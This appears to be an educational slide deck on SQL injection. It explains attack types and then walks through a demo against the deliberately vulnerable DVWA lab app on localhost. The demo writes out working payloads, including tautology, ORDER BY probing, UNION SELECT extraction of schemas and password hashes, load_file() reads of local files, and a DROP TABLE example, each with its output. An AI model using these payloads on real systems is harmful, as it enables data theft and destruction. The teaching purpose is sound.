SQL Injection
SQL Injection

• SQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution.

• Any procedure that constructs SQL statements should be reviewed for injection vulnerabilities because SQL Server will execute all syntactically valid queries that it receives.
  – Even parameterized data can be manipulated by a skilled and determined attacker.

• The primary form of SQL injection consists of direct insertion of code into user-input variables that are concatenated with SQL commands and executed.
SQL Injection

• A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL command, the malicious code is executed.

• The injection process works by prematurely terminating a text string and appending a new command.
  – Because the inserted command may have additional strings appended to it before it is executed, the malefactor terminates the injected string with a comment mark "--". Subsequent text is ignored at execution time.
Example

```php
<?php
$query = "SELECT * FROM products
    WHERE id = '$productId';
$result = mysql_query($query);
?>

- $productId = 1' ;drop table products --'
- SELECT * FROM products WHERE id='1';
  drop table products--'
```
SQL Injection Types

- **Inband or inline**: SQL injections that use the same communication channel as input to dump the information back are called inband or inline SQL Injections. For example, a query parameter, if injectable, leads to the dumping of info on the web page.

- **Out-of-band**: Injections that use a secondary or different communication channel to dump the output of queries performed via the input channel are referred to as out-of-band SQL injections. For example, the injection is made to a web application and a secondary channel such as Email sends data back to attacker.

- **Inferential (Blind SQL Injection)**: There is no actual data transfer. The attacker is able to reconstruct the information by sending particular requests and observing the resulting behavior of the website/DB.
SQL Injection Types

– Tautology based (1=1 or ""="" is always True)
  • SELECT * FROM Users WHERE UserId = 105 or 1=1
  • SELECT * FROM Users WHERE
    Name ="xxx" or ""=" AND Pass ="dunno" or ""="

– Based on Batched SQL Statements
  • SELECT * FROM Users WHERE UserId = 105; DROP TABLE Users

– Union based
  • SELECT name, price FROM Products WHERE id=1
    UNION SELECT userName, password FROM Users
DEMO - Tools

- Hosted web application (DVWA)
- Basic knowledge of SQL
DEMO

• Attacker logs into target web application as a common user. **http://127.0.0.1/dvwa/login.php**
  
  User name: smithy
  Password: password

• Navigate to SQL injection page **http://127.0.0.1/dvwa/vulnerabilities/sqli/**

• Try legitimate input. Type in
  
  – 1
  – 2
DEMO

• Try if the application allows to proceed our queries from html input
  - 1 # - hash stands for comment

• The query might look like:
  - SELECT id, first_name, last_name FROM users WHERE id = '1 # - hash stands for comment'
• According to results, we can guess the form of the SQL query:
  
  ```sql
  - SELECT id, first_name, password
    FROM users WHERE id = '$id'
  ```
DEMO

• Try to get list of all users
  
  - ' OR 1=1 #
  
  - select id, first_name, password
    from users where id = ' OR 1=1 #'

Vulnerability: SQL Injection

User ID:

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso
DEMO

• Try to determine number of output parameters in the query
  – ' OR 1=1 ORDER BY 1 #
  – ' OR 1=1 ORDER BY 2 #
  – ' OR 1=1 ORDER BY 3 #
  – SELECT id, first_name, last_name FROM users WHERE id = ' OR 1=1 ORDER BY 3 #'

Unknown column '3' in 'order clause'
DEMO

• We got an error while executing query
  
  ```
  -- select id, first_name, last_name
  from users where id = '' OR 1=1
  ORDER BY 3 #'
  ```

• It means that the query has only 2 output parameters. The query might look like:
  
  ```
  -- select first_name, last_name from users where id = '$id'
  ```

DEMO

- Try to determine database name and version
  - `" AND 1=1 UNION SELECT database(), version()`#
• Try to determine user which is connected to the database
  – ' AND 1=1 UNION SELECT null, user()#

Vulnerability: SQL Injection

User ID:

ID: ' AND 1=1 UNION SELECT null, user()#
First name: root@localhost
DEMO

• Try to obtain list of databases created in the DB server
  - ' AND 1=1 UNION SELECT null, table_schema FROM information_schema.tables #

Vulnerability: SQL Injection

ID: ' AND 1=1 UNION SELECT null, table_schema FROM information_schema.tables #
First name:
Surname: information_schema

ID: ' AND 1=1 UNION SELECT null, table_schema FROM information_schema.tables #
First name:
Surname: cdcol
DEMO

- Try to obtain list of databases and their tables created in the DB server
  - ' AND 1=1 UNION SELECT table_name, table_schema FROM information_schema.tables #
DEMO

• Try to obtain list of tables from our **dvwa** database

  ```sql
  ' AND 1=1 UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema='dvwa' #
  ```
• Try to obtain list of tables and their columns from our dvwa database

`' AND 1=1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' #`
DEMO

• Try to obtain list of users with their passwords
  – ' AND 1=1 UNION SELECT user, password FROM dvwa.users#

Vulnerability: SQL Injection

ID: ' AND 1=1 UNION SELECT user, password FROM dvwa.users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' AND 1=1 UNION SELECT user, password FROM dvwa.users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' AND 1=1 UNION SELECT user, password FROM dvwa.users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' AND 1=1 UNION SELECT user, password FROM dvwa.users#
First name: pablo
Surname: 0d107d09f5bde40cade3de5c71e9e9b7

ID: ' AND 1=1 UNION SELECT user, password FROM dvwa.users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
DEMO

• Try to read file stored in file storage of the database server
  - ' UNION SELECT 1, load_file('c:/myCreditCardSecret.txt') #

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT 1, load_file('c:/myCreditCardSecret.txt') #
First name: 1
Surname: VISA:59123487946548
VALID: 08/22
PIN: 1234
• Try to read **hosts** file stored in file storage of the database server
  
  ```
  ' UNION SELECT 1, load_file('c:/windows/system32/drivers/etc/hosts') #
  ```

---

**Vulnerability: SQL Injection**

```
ID: ' UNION SELECT 1, load_file('c:/windows/system32/drivers/etc/hosts') #
First name: I
Surname: # Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
# 127.0.0.1 localhost
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host

# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
```
References

• DVWA - http://www.dvwa.co.uk/
• http://dev.mysql.com/doc/refman/5.5/en/functions.html
• https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet
• HACKING EXPOSED (ISBN: 978-0-07-161375-0)
• Penetration testing (ISBN-10: 1-59327-564-1)
Warning

• Hacking is illegal because it is getting into a system another person owns. If you wanted to do legal hacking then you would have to own the system.